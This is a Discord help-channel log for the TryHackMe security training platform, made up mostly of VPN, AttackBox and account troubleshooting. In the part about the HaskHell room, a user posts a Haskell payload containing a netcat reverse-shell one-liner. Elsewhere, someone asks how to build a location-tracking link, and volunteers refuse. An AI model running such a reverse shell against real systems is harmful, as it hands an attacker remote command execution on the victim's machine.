There is an announcement post on #announcements
my firefox is not working on my system is there any solution i joined it yesterday
This support is only related to tryhackme
when copying IP addresses to the URL it continuously shos timed out
Do the instructions say you to do it?
Can you verify and show me a screenshot please, I',m thinking you're on the wrong box.
!docs verify
Hello
Can someone help me in resetting my tryhackme account?
You can't.
You can only do a room at a time, or delete your account in full.
I forgot my account information and need to reset the login @weary spindle
Do you know your username?
or do you know your email address that you signed up to the account with
I don't. All I have is the card information that I used to pay for the month subscription. @weary spindle @plush bay
Which is still actively being charged to my tryhackme account
You'll need to E-mail support then.
Thanks.
Is there a way for me to add a tracking link to an image
yes
is shadow allowed to tell you how???
nope...
should @stray cove intervene???
probably
My mothers what’s app was hacked. I’ve contacted what’s app but they said 3 business days
The hacker is using her contact to beg for money
@bronze vale ????
I’m trying to embed a link and send him a transaction receipt for him to click so we can get his location
Already reported a mod will come when they can.
@weary spindle can you assist me with the embedding link please
Absolutely not.
We’re not hackers for hire, that’s illegal don’t ask here
I’m not asking to hire anyone here. I’m simply asking for how to embed a link. I’ve already explained the situation and I could send proof of the situation.
It’s completely fine if you don’t want to assist
Thank you

You know it's kind of messed up with so many people getting rooms reset and then not getting another chance at tickets when they didn't reset the room right? I mean I know bugs happen but still.
Not even that, they should have just put us the rooms as completed, especially when we already have the badges 🤣
Oh I'm not even talking those rooms. I was okay with doing them as a refresher. I'm talking the rooms I've done since the event started and already claimed my tickets for but randomly were reset. I have 5 rooms like this today.
same, but do you still have the badges from those rooms? I still have them, but the room have been erased lol
Didn't check honestly, was just going to do them after day change and be done with it.
same
So this room resetting is happening to others as well?
yes
How can I redeem my voucher if I've already have a sub for 12 months?
I have sent an Email for extra tickets but am yet to hear back
Looks like a bunch of my rooms from the SE event have reset?
how to remove my credit card guys ?
You most likely can't without opening a support ticket for them to take it off for you.
how to ?
email support@tryhackme.com
ty
A bit dissapointed...i had completed 97% of the security engineer path and now it shows 85% which means I will have to redo few rooms again
Yes its not fair that the some rooms progress got reset
Hey everyone, are the splunk server labs on THM currently down? I’ve waited half an hour and it’s still not connecting
“Firefox is unable to connect”
I can access other webpages but just not splunk
Check the pinned post. There should be a chargebee link. You can do it there
Which room?
wreath
Are you a sub, or have a streak > or = 7?
Hi. I have renewed my ThrowBack subscription, however, I do not see any on the Access page on the Networks or any VPN connection available. Can you help me with it?
It doesn't work with that configuration.
Which room are you doing?
why does the sha256hmac command does not exist in the AttackBox?
I couldn't find the package to install it either
It says: sha256hmac: command not found
I'm in the https://tryhackme.com/room/cryptographyintro room - Task 5 Hashing
Which task?
Task 5, last question
for last question or for all 3 ?
the first two question with the hmac256 command work fine. It is only the third question. And in the Screenshot, I see this command sha256hmac:
user@TryHackMe$ sha256hmac message.txt --key s!Kr37

try openssl dgst -sha256 -hmac <key> <file>
indeed wrong.
https://command-not-found.com/hmac256
also working
Thank you very much. I thought about using openssl directly but I found it strange that this command didn't work

Hi guys cant seem to connect to open-vpn does anyone knows the solution, I also tried to add Fallback Cipher but it doesn't work.
!vpnscript
might help
Let me try this.
It won't it's the certificate that is generated wrongly
Try regenerating the config file
oh. then might reselect server and regenerate file
i did that but it is throwing the same error
What server are you using?
Nmap
No, what VPN server
open
Yeah that
this
in access link
No worries, take your time
EU Regular 3
Can you try regular 1
Eu Reg 3 won't work.
Is Ben noticed scrubz ?
k, im changing it to au regular1 and trying it again
Thanks GUys It Worked!
im connected now
happy hacking
Hi guys, I've got a token registered to my discord account but I've changed account and would like to re-register with the bot. Couldn't find any command.
If you see mods around, ask them nicely to unlink your account
@tribal mason alright mate, thanks a lot

Does anyone know if THM has made changes to the rank algorithm? I got down to top 2% one day and went back up to top 7% the next day. Not that it matters much. Mostly curious if you noticed something like that too.
They changed it yes
ahh I see, thanks @upper vault and @tribal mason . I missed the announcement.

hello just letting you know i've lost some progress in some rooms which is unfortunate and that isnt the first time by the way!
is there any solutions ? or should i just do the rooms again?
They were updated with content.
so thats why? but why delete the progress. for example i finshed burpsuit basics and now i have to do it again is it normal?
@weary spindle
Yes.
It's essentially a new module.
ah ok thats unfortunate. i'll just do it again ty so much for answering my questions.
Hello, I have a problem with the PickleRick CTF. The Tab´s name has changed to <Rick is sup4r cool> but it won´t load the website itself. It´s leading since 10-15 minutes and nothing is happening.
I already ran the vpn-troubleshoot, it said <Note that the working MTU value might change depending on your network condition> and then set the value of it to <1440 in tun0>.
In the meantime I tried to do it in the simplectf too, but I get same issue. Tab is updating its name but nothing else happens
ip a s how many tun do you have?
Summarized 3 Connections, but only 1 is tun0.
Others are lo and eth0
the troubleshoot tool also tell me that there is only 1 ovpn connection opened, that should be fine
sudo ip link set dev tun0 mtu 1200
Try this 🙂
Open a seperate terminal with the VPN running.
I try it
It worked, thank you so much 🙂
Could you explain what this did other than the trouble shoot tool? Because the tool also changed the mtu
Gave +1 Rep to @weary spindle
The command I gave you lowered the packet sizes sent.
Okay, so the tool have done the same but not lowered it enough? It set it first to 1440, said its okay. Then I ran it agane and it set it to 1400
It's hit or miss if it works, it varies with people.
I've never had to change my MTU.
okay, but thats really nice to know for possible problem in the future. Thank you again, you made my day!
Happy hacking.
when you ask for the 12 month sub, tryhackme emails you the code, it expires 1st january 2024, so save it for that moment and use it in the "redeem voucher" section when is best for you
Hello, i used to have the red team tag on my profile before, but this post disappeared after the security warrior event. how can I get the red team tag back
You can't.
sad
Any fix on splunk 2 Lab not connecting ?
I don't know where to send this, but as i understand - there is a typo in "Introduction to Cryptography" room, symmetric encryption
Hello. How could I solve this problem?? The proxy server is refusing connections
An error occurred during a connection to www.exploit-db.com.
Check the proxy settings to make sure that they are correct.
Contact your network administrator to make sure the proxy server is working.
I checked the command by sudo ~/Downloads/thm-troubleshoot
But it said I'm okay
What are you doing?
The thm vpn doesn't effect your browsing.
Do you have foxy proxy active?
oh mygod......I didn't recognize that. Thank you for saving me
Gave +1 Rep to @weary spindle
What a stupid am I
why i still cant connect to the adenumuration network already do dns settings and openvpn, the websites still cant get loaded
Can you send a screenshot of the output when you connect to the vpn
any one here
We will not help you with a room that is not allowed hints for now
here, i cant connect to the credential websites
sudo nano /etc/resolv.conf
Place THE THMDC ip at the very top with
nameserver 10.xxx.xxx.xxx (apply your own thmdc IP.
the websites still not get loaded
If you do system restart it might default /etc/resolv.conf
already try to not doing system restart and its still same 
nslookup can be bugged.
so what do i have to do
oh nvm it worked, i delete the 8.8.4.4 name server
I finished the Security Engineer path but now It shows that I have 1 module to complete :)))), what a pity
There is no more machine icon in the Task with the deployable machine?
is that intended?
Which room?
all of them from what Ive checked
like Linuxprivesc for example
do you see the little machine icon in the task title? @weary spindle
then again a few other things arent loading neither, it might just be me I think
How do I type special characters (specifically @) on a Windows split view machine?
I have a german keyboard layout, so maybe that is the issue, but the machine ignores more then just this special character.
I need to type an email tho, and I cannot copy+paste into the VM either, so this is a little annoying.
Unsure. Hold on
Turns out I cannot type that even when I use xfreerdp from my VM.
Can copy+paste through RDP tho, so it is semi-ok.
Chars like Ä and stuff are recognized properly, and I don't really want to bother with chaning the layout on my host machine.
This is a good idea, however.
Thanks yor your help.
Gave +1 Rep to @tribal mason
No I meant on the target machine but It can't be done as these machines don't have a public facing network
It cannot install the language packages
Mmhmm.
i was curious if someone could please explain to me why running nord vpn on my host machine causes the openvpn on my VM to not work? on my ifconfig i was sure the eth0 was my host IP and the tun0 is my openvpn tunnel. so why would they be interfering which one another? trying to understand this for my own sake lmao
to be clear, the problem i have is when i run a machine on tryhackme and try to connect to it on my VM with openvpn, it wont let me connect if my host machine has a VPN running
Yeah It can sometimes lead to conflicts or connectivity issues due to the way VPNs operate
If your VM has its own network configuration or relies on a different network route, the VPN's routing can disrupt the VM's connectivity and thus won't work
It might also cause IP Address Conflicts
so You really shouldn't use VPN on your host machine while you are using THM's VPN on the VM
attackbot is so laggy I cant click or copy anything, seems to be normal during this time of day. Do others experience this?
who i can copy anad past from attackbot to rdp
though if it is a windows split view you probably need to full screen it to be able to copy and paste
You can click the arrow button to make it full-screen
@plush bay you're a room tester right? I have some questions about a VM submission I'm currently planning. Do you mind sending me a dm? Or any other room tester for that matter?
shadow has so far not created any rooms and not that big of a part of the room creation things...
they just test them in the last stage when the vm has been done and already uploaded
It's not really about specifically that, it's more about the content
oh???
I want some input
okay go ahead
Not sure if this is the right thread to ask in, but I have a weird issue. I have been doing the "Complete Beginner" path which includes the BurpSuite basics room. When I get to the OWASP Juice Shop room, it recommends doing the burpsuite basics room, and when I click on the link and visit that room it's like I haven't completed it. But when i go back to the learning path and visit the room there, it is completed. Is there a duplicate room or something? They appear identical. Additionally, if I search for the Burp Suite Basics room under the learning tab, it takes me to the room that's as if I haven't completed it. Does the learning path not populate to the room or something?
yeah there have been updates for the burp rooms... strange that you are getting into the old ones maybe... there is a module for burp suite now that teaches you everything in multiple rooms while in the past it used to be a single room
Weird. I guess I'll just go through and re-input my answers from the other room and see if anything is changed.
Team..any idea how the progress can be restored
I've had a current issue that TryHackme reset the progress I made on the Burp Suite module, on the Jr. Pentester track
Just currently noticed it
I can attest that I made it:
ohh maybe this is the reason

I still haven't had my days restored since the site went down, I emailed the support and it's been crickets.
When did you email support? They have a lot to deal with so I think response time is around a week
I have a problem with my openvpn file, cannt connect to the vpn with it? Did anyone else have an issue ?
Hello, I can not achieve to "overwrite.uploadvulns.thm" in task 4 of Upload vulnerabilities, do anyone how to get to this site to complete the task?
Hi.
When I press "show split view" I just get a white screen, when I press fullscreen it just opens the site "about:blank#blocked".
I've tried incognito in edge and firefox and disabling adblocker in both browsers, still cant get it to work. What am I missing?
I've also tried opening the website on a windows and a kali VM.
Also seems to be happening for me in the KAPE room.
Its for the velociraptor room, https://tryhackme.com/room/velociraptorhp .

Any way to disassociate with a lost Discord account? Verification, "Sorry this token is already used by someone."
If you see a moderator around in #general Just ask them nicely to unlink your account
Tls error even tho I have commented the tls in the configuration
Try changing server and regenerating config file
Already did
Which server are you currently using?
I am on eu reg 1 rn
Where are you from?
But I run over whonix
Don't
Is my syntax correct?
xfreerdp /v:<IP> /u:CONTROLLER.local\Administrator /p:password123@
I tried using /cert:ignore but that doesn't work either
I know I can use SSH but I'd like to figure out why RDP doesn't work
I'd suggest scrapping xfree and getting Reminna.
Okay ill try
Works great, thanks Scrubz

sup ya all!
I have had this issue for a few days already, when I try to solve a room and I attempt to connect via ssh the machine doesn't let me do that, this happens in all the rooms, even tho I can ping it and get a response, the same problem happens when I try to access the web server (if the machine hosts one) and if I try to move files from my host to the room's machine, I have tried to change my openvpn file and choose another location, the problem doesn't seem to happen with my friends or when I watch/read a walkthrough for that room
Are you on the vpn?
can anyone help I cant use wreath room , the machine icon appear like (prod-serv)
cant ping or do anything
Are you on the wreath vpn?
yes
Can you restart the network?
Yes I use a vpn.
The thm vpn?
yes
And which room are you doing?
right now I'm trying to solve Pickle Rick
it is not just this room, I have had the same problem with others
Do you know the creden for the ssh?
And the password?
I will brute force it
w8 I will screenshot what it looks like
I can't send any pics in here, but here is what I'm trying:
Ping results:
--- 10.10.138.26 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 78.492/81.303/84.114/2.811 ms
so that means i'm on the network and I can reach the machine just fine
Connection closed by 10.10.138.26 port 22
but when I try to connect, it just stays like that till it times out
and problem is not with this room only
Can you do ip a and count the tun* for me?
As in count how many tun connections you have.
check if there are multiple/many tun devices
tun == tunnel device
i.e the device that openvpn opens and uses to connect to the tryhackme network
aha
1
it uses tun0 interface
if there is a tun0 and tun1 at the same time it tends to cause problems hence scrubz question
I have only tun0
okay then that is not the problem
the other interfaces are loopback and eth
sudo ip link set dev tun0 mtu 1200
Try this 🙂
what does it do?
On a separate window, don't close the vpn
It lowers the packet size sent in each tranaa
Transaction
ok, w8 please
it seems that it closed the ipv6 or something
and I have tried to connect to the machine but that same problem is still there
That command doesn't interfere with ipv6
another interesting thing is that I used nmap and it worked just fine, and I found port 80 is open, I tried to open that website, but cant connect or view anything, it just keeps on loading the webpage
how to turn it back please
Turn it back to what?
the original packet size
is it 1500?
Yes
ok great
the problem is still there, so if anyone knows what might be wrong tell me please.
Are you running a personal vpn?
yeb
you can.... but routing can get really funky if there are IP subnet collisions unless you know how to segment nested NAT spaces
In any case, unless someone is a senior network admin, i would absolutely not recommend it
Yeah, but I'm betting if they're new, they don't know how, so it was easier to for me type that ^
I finished the security engineer path a few days ago and when I looked into it today I lost a bunch of progress. Especially the Managing Incidents Part
This is currenty a known issue.
alright so I don't have to do anything thm will fix it eventually? good thing I already downloaded the cert 😄
Worst case scenario, you need to repeat it.
I cant use openvpn without using another vpn on my host
Why not?
Then you're not going be able to use the vpn properly.
My country doesn't allow me to use openvpn locally
It is not my first time connecting to the thm network, this problem just occurred 3 or 2 days ago
You can use Attackbox though
Bypass What?
I have been using it like that for a long time already
My friends are using this technique to connect to the network as well, please read my problem description from the start
It is just an hour a day
It's not a problem.
Using a private vpn is troublesome, it won't work the majority of the time.
Is Windows your host?
Anybody else who have encountered that windows vms in certain rooms just open as a blank screen or a about:blank#blocked in fullscreen?
I've encountered this in Windows Forensics 1, KAPE and Velociraptor.
Note only VM's that are supposed to be Windows, not attackbox.
Regardless of browser, extensions, OS, incognito or not. I just end up with a white split view or land on a about:blank#blocked.
So far I've tried Edge, Chrome and Firefox. Incognito and no incognito.
Cleared Browser Cache and cookies.
On host machine (win10), vm with win10, and a kali vm.
On the vm's I've tried to use the tryhackme vpn to circumvent any network blocks on my local network.
Do you have some sort of Ublock running?
Usually yes, but I've tried disabling it and everything else I stated above^
I know that room has given problems in the past and was fixed/
In the provided screenshot, its a kali vm running a firefox instance without anything installed. Same happened for a fresh installed windows vm
Still loading the split screen machine.
The white screen is supposed to be still loading the machine?
No, I miss typed.
Ah okay, my bad.
Cannot download VPN for wreath network....It shows loading for more than 10 minutes any solution guys?
Have you tried regenerating the config file?
Stop, and wait until tomorrow
@weary spindle okay.Thankyou💪
Does anyone know if/how to enable direct copy/paste to attack box in safari like how it works in chrome?
Yeah. I know about that. In chrome I can bypass that and copy straight to terminal.
It’s no big deal. I’ll use chrome.
You can maybe check safari settings about permission to copy/paste.
Maybe you can do it site by site basis.
oh the attack box and kali linux on the wep is so slow
it's slower than my virtual's
is there any way how to make speed faster?
You can choose a region that is closer to you to decrease latency.
Hello everyone who can I reach out to if my student discount doesnt get applied?

Gave +1 Rep to @plush bay
that would be nice but I don't know how THM handles it
You can't.
Now I know, that scks.
I'm taking the SOC L1 path and every machine I turn on get IPv4 10.10.x.x subnet. When I connect via OpenVPN, my computer gets assigned 10.6.x.x and I can confirm I'm connected to THM network US-east regular 1. I'm on a different subnet so I can't interact with the room VM. I'm using Windows 10 PC. Does anyone here have the same problem and how you solved the issue? THM support said the only solution is to use Linux instead or just use the Attack Box. Sometimes, the Attack Box is just too slow.
All the room machines are on 10.10.
Are you trying to connect your host to network, via the gui app for Windows?
I'd go with support, either use the attackbox or run a vm in your computer if the system can support it.
When uploading the reverse shell payload in HaskHell (https://tryhackme.com/room/haskhell), it returns an 'Internal Server Error. Please try again). I got my reverse shell payload from passthehashbrowns. With that said, is that intended or part of the challenge?
What does it look like?
I used this one (and replaced the IP and port) -
https://github.com/passthehashbrowns/Haskell-Reverse-Shell/blob/master/reverse-shell.hs
I had to log in to notion for my notes.
#!/usr/bin/env runhaskhell
module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TUN0 9001 >/tmp/f"
That got me a shell with nc
Oh.. has to be the payload then. Thanks.

Tried this just now and still got the same error.
in my tryhackme room it says "go to the Acme IT Support website (http://10.10.115.217/customers/signup) signup page." but when i try to open that website it wont open, it loads it forever
This site can’t be reached10.10.115.217 took too long to respond.
Try:
Checking the connection
Checking the proxy and the firewall
Running Windows Network Diagnostics
ERR_CONNECTION_TIMED_OUT
Opened the site just now and it works for me.
Did you check your OpenVPN connection?
i dont even know what that is
In the upper righthand portion of the THM page, do you see a green bubble-like shape with an IP address or a red-one that says access network or something along those lines.
it says in red, Access Machines
You need to connect to the THM network via OpenVPN then
!vpn script
You can. However, it is limted to an hour to non-subscribers.
Did you open the site using the browser in the Attackbox?
Hii, When installing OpenVPN, is there a version requirement
2.6+
oki I did it, thanks 😄
Anyone else working on HaskHell who is stuck on the foothold?
I just did the room HaskHell and got to the payload stuff and that is when i get this Error... no matter the name change or filetype change nothing works... It is supposed to automatically forward me to the file after upload after watching two videos on it but it doesn't do that for me at all... i feel like i wasted my last 2 hours... anyhow good night will try it again in later...
restarted the machine and go to upload again... and same error. That means for me that the room is broken/bugged.
Yes. Using the Win GUI app.
Yeah, gui can bug

when trying to connect to vpn
Which server are you using?
hello my machine cant seem to connect to the tryhackme vpn server im using the openvpn GUI on windows
I'd avoid using Windows for a number of reasons.
Not secure and very buggy.
i see so just run everything from a VM?
Yes, including the vpn.
i run a vpn on my host device do i need to turn it off
Yes
Hello
How can I change the country in my profile? I am Peruvian but I appear in the USA
Is anyone else running into an issue where the option to deploy the AttackBox isn't displaying? I'm a paid subscriber, and I can access the AttackBox if I go straight to the room that explains how it's deployed, but no option appears anywhere on-screen in any other room. Is this just me?
Hi there, i have some questions about "Introductory Researching"
is it correct here, or is there another channel
You either;
Didn't use sudo.
Didn't declare the correct path.
Here will do.
No sorry, #room-help
I tried to generate the payload via www.revshells.com which is pretty similar to this one, but it still gave an 'Internal Server Error'.
I'll need to re do the room again.
I just wanted to confirm if its a room issue, or if its just me (user issue). 😅
I can check, won't be until tonight though.
No worries. You can check it when you have time. I'm stuck on it anyway and there's a ton of boxes for me to work on for the time being.
On the website, it says "click here to verify your email address". I click it but I do not recieve an email. any help?
It did like twice before, but I didnt see them, now that I am trying again I am not getting it
I waited a couple of days as well so its not timing
THM website?
Hello , i had a problem the the attack box it is so slow even when i try to do nmap scan it took too long
Have you checked the spam folder of your email?
Yes
The first 2 or 3 times, I received them in my spam, but by the time I saw them they were expired. So a couple of days later, I clicked on the "click here to verify your email address", but I am not getting the emails anymore
I tried on several occasions on different days
I tried it out on my end, I was able to scan machine in 2-3 min with the AttackBox with the -A option
with normal one, it took 2 sec.
Hello a friend of mine just subscribed with my referal link and I don't have any credit neither him. Can you guys help please?
contact support please.
thanks!
Can anyone tell me how is the country determined/ set and if users can choose their country ?
you cant set country on site. but if country is wrong you have API link to reset/set proper one
I tried that but I think it determines it by the IP location
thm vpn needs to be active while use API link
#site-support message u sure ? Am I missing something
hmm... might be wrong for active vpn
The link does it automatically anyways. I currently do not live in the country where I grew up so I guess I am representing the country where I live - no choice
the link do automatic for sure. might be best to set to where you are reside
Might be able to trick it by running a VPN from the country you are from then going to the link, otherwise though you are probably stuck with where you currently reside.
Not sure what happened but it’s now showing I am at the other side of the planet - I haven’t used any vpns ir other stuff. Just my home wifi
Hello Team, I am premium member of Tryhackme but I have lost access to my email as my university has suspended access to all Uni students who are 3 months post graduation.
can someone here help regaining access to my account ?
You'd need to talk to the email support for help with that
Got it 👍 will email

Download it from here @plucky prawn
The OpenVPN community shares the open source OpenVPN. Download the latest version of the open source VPN release OpenVPN 2.6.3 for a secure network.

Hi, I am currently in the UK and after I opened the link my profile is showing that I am in USA.
Are you using a VPN
No, I am on my phone and using my home wifi
I got “Limit IP address tracking ” turned on . Could that be the reason ?
Yes that was it 🤦🏼♂️ turned it off and now I am back in the UK
what is slove? in attack
I guess, I need a help.
sudo openvpn my-vpn-file.ovpn Options error: Unrecognized option or missing or extra parameter(s) in my-vpn-file.ovpn:18: data-ciphers (2.4.7) Use --help for more information.
I researched and they wont work
is that all the output??? could you take a screenshot of the terminal window and post all of the output??
@naive dust ⬆️
yeeah thats all of the output
if you run sudo openvpn --version what does it say???
ah that is a very old version of openvpn it would seem... dunno if there is a newer version in the kali repo:s
maybe try updating your system and try again
if that does not work you will have to mess with the file to make it work
you mean sudo apt update ?
sudo apt update && sudo apt upgrade
oh ya

probably time to reinstall your kali vm then
because fixing that type of update error is generally so annoying and hard it is easier to just reinstall

@zealous yoke
Hey I cant reach the holo network even though I am connected to the VPN normally
attackbox does not work too
is anyone able to explain to me what this target indicator is next to the streak on the friends list?
Pretty sure that is your points
Google this, you'll get a fix 🙂
literally instructions to fix this are in the error message
yeah i know but i dont want disable sandbox
no kali linux
just install foxy proxy in firefox and make it use Burp's proxy
its the same thing only that burp's integrated browser is chromium
ya

anyone having issues with the terminals not responding in the attack box?
anyone solved issue of trouble connecting with openvpn in windows?
The issue is the gui app to connect on Wondows.
it was working fine until i updated it
Is Windows your host?
yes
i sometimes do reading material so don't actually need the vm, thats why
yeah i understand
Still creating a security risk by having it on the network
There has been a small % of users banned for messing with hosts etc
oh well
by the way, being practical (don't mind this question, i am noob), don't they have very minimal attack surface for it
like i don't have open ports or anything
and we only interact with our machine ip's , not anything else
like what are things they can do?
Minimal things as you say, but its still a risk I'd not have.
Understood!
Anyone who can clear my doubts?
What are your doubts?
platform certificates, once issued, do they need to be validated?
I don't believe so
I just have my doubts
Pretty sure it just generates an image with your username, no real way to validate that. Do you need to for some reason?
Wheb you generate them, you get to choose between name or username, once it's generated, it can't be changed.
How do I change my country flag on the website? Mine defaulted to the UK and cannot see a way of changing this?

Heyyo
about the openvpn
Follow the link to verify your account and be able to post screenshots ^
ahh okayy
i already know
may I ask before you send the screenshot, what vpn region are you using?
us
wait my internet on my laptop is not working
no worries
which one of these are you using?
eu-regular-3
yeah, that one has problems with generating your certificate for the vpn, please use a different server and regen your config
ohh that is why i cant connect
thank you it is now working

Where to put openvpn?
you run in in VM. just make sure that there is no other vn running, and when you wun it (via terminal command, do not close that terminal)
!vpn
Hi there, what's up?
No need for the dm's.
I already did this one.. Still not working
Second, do I need to install a vpn on the machine (vmware) that is in Kali or on the Windows host computer?
If you still need help with vpn Send me the problem in private
VMware is a separate so it should have it's own vpn (install using terminal)
No problems with the installation I'm debating where to install it on a host computer or machine
Openvpn is on kali by default.
You need to run the vpn on the vm.
if you want to use openvpn inside vm then you have to install it in the vm too .....
What's not working?
Which error do you get?
Which server are you trying
Which country to do you live in?
2023-09-24 17:22:54 Note: --cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.

When I try to ping a machine :
Which machine are you pinging?
Not all machines will respond to ICMP by default, which are Windows.
ok let you know if it works
kali comes with openvpn installed. so you run you vpn file from thm inside kali with command: sudo openvpn youfile.ovpn
Speaking of VPN... I have been having trouble all day. It was working fine this morning, then stopped. Networking is fine otherwise, until I connect to THM VPN - goes kaput.
which server?
us-east-regular-1
us-west-regular-1
us-west-vip-1
tried all three from both my THM machines (one VirtualBox guest on Windows 11 host, the other a Qubes VM).
I always seem to have trouble with VirtualBox, but the Qubes setup is very reliable.
Thinking it may be something worth sending an email over.
I was in the middle of tethering my mobile hotspot to my laptop to rule out my local network, but was having trouble with that too
.
Taking a break from it all and playing video games.
openVPN just refuses to work on 2 different machines.... what am i doing wrong
More context.
What have you tried?
Which server?
Where do you live?
Linux/windows/mac?
ive uninstalled and reinstalled, downloaded the latest version, turned off anti virus and firewall and tried running, ran as admin. US East, Virginia, Windows
like ive downloaded other vpns with no issues.... this one just isn't being nice
What's the error message you get?
connection timeout
Are you running the THM VPN in a VM, or on the host?
host
Can you give us the actual error message please?
And I would recommend you run the VPN within the VM you want to connect to the THM environment with
is there a log file somewhere?
thats literally all it says for me is : connection failed: connection timeout
The gui for windows can also be bugged and a pain to connect.
why? im not even doing any of the red team labs.... i just wanted to go through the siem exercises
its been like this for 5 days
on 2 completely different machines
?
im not sure what you are asking
ill just use a different learning platform with working labs.... pathetic
It's not the platform. I was able to connect just now, from a local VM using the VPN profile.
If you aren't able to connect, follow the site recommendations first and we (and by that I mean the volunteers who help other users) can help you work through things. Throwing your hands up and complaining that it's broken doesn't get you the information that you want.
Like I said.
The windows gui application for OpenVpn can be very buggy
Thanks for checking and verifying, @broken bear . I think my problem is likely a local network config issue.. perhaps something in the way DNS is being handled on my router... idk. I'll figure it out; [INTROVERT] perhaps I'll ask for help along the way.
Gave +1 Rep to @broken bear
can you try the openvpn from a more 'normal' linux distro? i've noticed taht sometimes the networking components of qubes stuff doesn't behave as you'd expect in a non-dom0 environment. Troubleshooting from outside your particular setup is going to be difficult. Could you try from a deb or rhel based distro and upload a screenshot of the connection errors?
I'll try again now. Although, I should point out that connecting isn't the problem. The issue seems to be resolving any sites (HTTP(S)/DNS) after I connect.
Interesting. Are you nesting VPNs?
Usually if there's a resolution problem inside the network, it's conflicting subnets
If your home router uses a 10. subnet, i could see it causing a conflict as well
I'm on Windows 11 with a Kali Guest in VirtualBox (all up-to-date).
Bridged Adapter to the WiFi card.
OpenVPN via CLI to US-West-VIP-1
Connection successful, but request to https://tryhackme.com via browser won't load.
can you http://10.10.10.10/whoami please
curl
you don't have to post the tun0 ip address, it's just to verify that you're correctly on the network
if you aren't a subscriber, you may not be able to able to reach public facing sites from the VPN network
I checked this. I am on a VPN (on a different network interface) and my LAN is in 10-space, but I just checked and the sub nets don't overlap.
Yep. The output matches the output of `ip address show dev tun0'
Have you done anything with the routing table? Honestly, this sounds super wonky. I've never seen this problem
And, have you tried the THM vpn troubleshooting script? It sounds to me like you're connected and should be able to reach the target machines. my intuition is that there is some routing funkiness that is carrying over from running the vm in bridged mode and your 10. local addressing
I have messed with routing tables in the past, but not since I've experienced this issue.
if you run the VM on a nat mode, does the problem persist?
Good question. I believe I did try that this morning, and the problem persisted. Also, I disabled the VPN running on the Host machine - problem persisted.
host is windows right?
These are the types of problems I give myself. I think this is a case of PEBCAK.
you may need to flush the windows networking and reload it. I'm not enough of a windows admin to know off the top of my head how to do that
i would also reload the guest networking rules, and possibly restart vbox entirely. Sometimes OS will cache configs in weird places and forcing a reload from a fresh instance (Ie, shutdown the vm and hypervisor, cold boot the host) is the most reliable way to flush all the runtime configs
Good suggestions. Thanks @broken bear (+1 reps, FWIW)
Gave +1 Rep to @broken bear
Awhile back, my work VPN used the same addressing subnets as my local network config. I had to go through a lot of nonsense to adjust all my local subnets to not conflict, and had a lot of similar-ish problems
any reason attack box wont load and how to troubleshoot that?
I'm Windows challenged as well, but that's not where the problem is. I have deduced the problem I was experiencing exists on my own firewall; specifically, DNS.
By adjusting the browser settings in my Kali VM (where the THM VPN client is running) to explicitly use an external DNS provider, it fixed it.
This is typically why i rely on a proper hierarchy of DNS with an external fallback on my primary
I will have to look into this further; so far I just got a workaround. Ideally I'd like to have the DNS on my network configured properly to avoid this. Thanks again for the help, @broken bear
Gave +1 Rep to @broken bear
I'm willing to help you troubleshoot. Have you read this article yet? https://help.tryhackme.com/en/articles/6721845-the-attackbox-explained
Maybe you can elaborate on the issue you're having; detailing any steps you've tried to address it.
im loading the attackbox and its just sitting at a white screen not showing terminal
You should expect to see an Ubuntu desktop environment. I guess the terminal may open on start.
Do you have a premium subscription?
i dont see either, its literally just a white screen lol and yes i have premium
Sounds like it could be a browser issue. IDK.
Hello i got trouble making my openvpn working, 5month ago it worked just fine but now when i try to used it an error is displayed about the cypher
Does someone know how to fix it ?

That one is borked, try EU-Reg-1
oh okay it worked thanks man :)

Weird how gui is not working, ovpn3 gui was not working as well.
Hi there
what is the best way to report something related with a room ?
I don't think the specific question is correctly done .
Is it a room bug?
Yup, it's getting changed soon.
it's a question
Then ask here. 🙂
that i don't believe it's correctly formulated
OK..
Then explain your doubt?
I have no doubt since i was able to answer it
but the question itself is not correctly done
We're going to get here alot faster if you just state what you think is incorrectly done...
task 6 from osquery - "How many services are running on this host?"
Accepted answer is not the running services but the total number of services
Which is "stopped + running"
I'm not able to connect openvpn
The issue I found
Restart pause 1, 2,..
?
@weary spindle hey can you help me on this
I try to get some idea on thm forum
Well, there isn't alot as I don't know the reason its restarting.
Have you tried to generate a new config?
I edited the file data-ciphers
What does it say now?
Which server are you using.
Not out yet.
Soon™️
Can someone explain to me why I can't keep the Mr Robot room a consistent connection to the THM server??? It took forever to even load the next page inside the WP page where I have to do the rev shell in the 404 template thingy.... it took for me to download the box from vulnhub just to complete it :/
Also, is this the right channel to put this comment in?
Have you checked your connection? Also, what VPN server are you using?
my connection as in my internet connection? if so, it's fiber and I barely lose any connection to anything unless the DHCP comes into play at some point of the day, but I already configured that a long time ago.... also the VPN server is this one:
I've checked it out with other boxes and I've never come across this issue before this consistently
everything seems solid except that one
either way, I completed the box and entered the flags a while ago thanks to Vulnhub
I had to kill the machine like 5 times or so and still no progress, everything was just slow
Hmm... have you tried other VPN servers?
Not sure if it's the right place to ask, can someone help re-link my THM to Discord. It says it's already linked to another account, but I don't have access to the previous one.
You'll need to ask a mod politely.
Ah, thanks.

can anyone recomend a program for remote desktop to connect my windows to try hack me so i can do the Autopsy unit? Ive got a vm for kali linux for all the stuff for kali linux but i cannot figure out how to use window remote desktop to join. Can anyone recomend a program to help me out?
Use Reminna on the Kali.
-
it's not good to put your host on the network, it's a minimal risk factor.
-
The OpenVpn gui all can be really really bad, sometimes it won't work.
i want to avoid using autopsy on kali linux as it is webbased and the unit is using the windows autopsy though
Reminna is am RDP tool.
An*
Do you mean using native RDP tool from a windows machine is not recommended? Does using remmina from a kali machine (not a VM) make difference?
hey , I need help with something, my pages from tryhackme doesn't load anymore
everytime I access the machine and load the IP page, it never loads
anyone knows how to fix that?
Have you tried regenerating the VPN file, changing VPN server, or running the VPN troubleshooting script?
yes
i mean, i didn't run the VPN troubleshooting script but the openVPN is connecting
because if i try 10.10.10.10 it sais i am connected
but when I open a machine , I can't connect to the site
If you are using your Windows host machine to connect to the THM OpenVPN, then it is not recommended.
Can you run ip a and check that you only have one active VPN connection?
yes
only one active vpn
i even re downloaded it restarted everything
i run ps aux | grep openvpn and is only one session active
